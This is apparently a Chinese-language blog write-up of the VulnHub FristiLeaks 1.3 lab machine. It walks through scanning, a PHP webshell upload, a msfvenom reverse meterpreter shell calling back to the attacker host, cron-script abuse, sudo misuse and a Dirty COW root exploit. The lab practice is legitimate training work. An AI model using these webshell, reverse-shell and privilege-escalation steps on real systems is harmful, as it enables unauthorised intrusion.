VulnHub FristLeaks 1.3

第一次尝试vulnhub,所以准备参照红日攻防实验室的文章做几次

本环境文章地址:http://www.sec-redclub.com/archives/741/

创建好后,我的目标机器ip如下(NAT 处于10.10.10.0/24 网段)

信息收集

首先nmap扫描,为了扫描比较充分的信息,我使用以下命令

nmap -O -Pn -sS 10.10.10.129 

可以看到目标是linux系统,并且开放了80端口web服务端口

WEB页面

访问web页面

先扫描下目录

发现有robots.txt,cgi-bin,index.htmlimage/目录

image/目录下有2张图片,keep-calm.pngindex页面的,3037440.jpg是一位老爷爷

robots.txt下面有3个目录,依次访问后,都是上面的老人的图片

然后找不到啥有用的信息了,看了writeup,通过index页面的keep clam and Drink firsti的提示访问(这有点脑洞...)

http://10.10.10.129/firsti/

是一个登录页面

查看源码发现一堆base64

解码后发现是图片

这个又没法用web上的base64与图片互转的在线工具,于是把字符base64解码后输出到文件即可看到图片

echo 'base64的字符' | base64 -d > 1.png

打开1.png,获取密码

拿这个密码去登录刚刚的web页面,账号名我最先用admin,没有成功,后面看了源码,发现作者在最上面用注释留了言

那么用eezeepz做账号就能登录了

进去后有个文件上传,因为web的后台是php(可以通过response包看到),所以尝试上传php一句话木马

被拦截了2333

最后加个后缀可以代码执行了?????

后渗透

虽然不知道为什么,还是用蚁剑连接吧,结果连接不上。。。

最后用file_put_contents('./mi0.php', '<?php $_POST[1];?>');这样的骚方法把shell传上去,能够用蚁剑连接了

因为强迫症,所以非常想将shell弹成msf的形状

这里php的msf反弹shell生成有问题,看了google几篇文章好像要对内容进行修改,但是尝试了半天没成功,最后尝试上传linux x86的msf反弹shell,在蚁剑中运行脚本,能够反弹会msf的shell了

生成木马的命令

msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=10.10.10.128 LPORT=2333 -f elf -o shell

用蚁剑上传,权限改成777,在命令窗口运行

能够拿到msf的shell,msf配置

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x86/meterpreter_reverse_tcp
msf5 exploit(multi/handler) > set LPORT 2333
msf5 exploit(multi/handler) > set LHOST 10.10.10.128
msf5 exploit(multi/handler) > run

看他内核版本是2.6.32,尝试传个脏牛上去,脏牛使用方法:http://www.bubuko.com/infodetail-2988973.html

之后再来说这脏牛

先按照正常的思路去翻翻文件,先到home下去看有哪些用户,并且我们是apache,在web页面的时候就知道是eezeepz,进入后查看文件

有个note.txt 令我很在意,打开看看

那么在/tmp/目录下新建1个runthis的文件,并加上以 /home/admin/开头或者/usr/bin/开头的命令就可以以admin的身份去执行加的命令,这里我最先有点蒙,看了wirteup的思路,它是这么写的

echo "/usr/bin/../../bin/chmod -R 777 /home/admin" > runthis

我后面看了执行这个功能的python脚本才理解了出题人的用意,上面的writeup稍微有点脱了裤子放屁的感觉,这里下面2个命令都可以

/usr/bin/chmod 777 /home/admin
/home/admin/chmod 777 /home/admin 	#因为提示说,admin目录下有chmod命令

所以在mef中直接用edit改就行

然后就可以进入admin文件夹里面了,可以看到这个在/tmp下执行admin权限的python脚本的写法

当然2个txt文件都看了看,是加密的密文

加密脚本的内容如下

对应着写出解密脚本

import sys
import base64
import codecs

crypt = sys.argv[1]

def decodeString(str):
    str = codecs.decode(str, 'rot13')
    return base64.b64decode(str[::-1])

if __name__ == '__main__':
    print decodeString(crypt)

解密内容得的以下2个

之后的思路就是登陆fristi,在msf中没有找到切换账号的便捷命令,所以只能进入到shell中进行操作,这里的密码是LetThereBeFristi!,直到最后也不知道thisisalsopw123是啥玩意儿

切换账号需要交互式的shell,因为目标有python,所以可以通过python

python -c 'import pty;pty.spawn("/bin/sh")'

我翻烂了/home目录,啥都没有,最后看writeup,在/var/firstigod里面才有真正的信息

看了下目录大概有这几个东西

/var/fristigod
|bash_history    			//记录历史操作的
|secret_admin_stuff 		//一个文件夹
	|doCom					//一个文件

直接执行doCom文件

估计使用管理员账号了,查看下bash_history的内容,里面有之前fristigod用户执行的一些命令

看了一下命令,使用了sudo 获取管理员权限去执行了doCom,主要是doCom还带了ls这个命令参数,因此最后像他这样写命令查看/root目录

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /root

最后

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom cat /root/fristileks_secrets.txt

获取flag : Y0u_kn0w_y0u_l0ve_fr1st1

脏牛使用

在之前上传了脏牛的二进制文件,接下来先切换到交互式模式

python -c 'import pty;pty.spawn("/bin/sh")'

之后运行脏牛

./dirty 123456

成功后用firefart账号登录,密码就是123456,直接获得root权限,可以查看flag了

小结

学习了很多后渗透这块的知识,都不难,主要是一个思路。

posted @ 2020-06-13 14:15  sijidou  阅读(264)  评论(0编辑  收藏  举报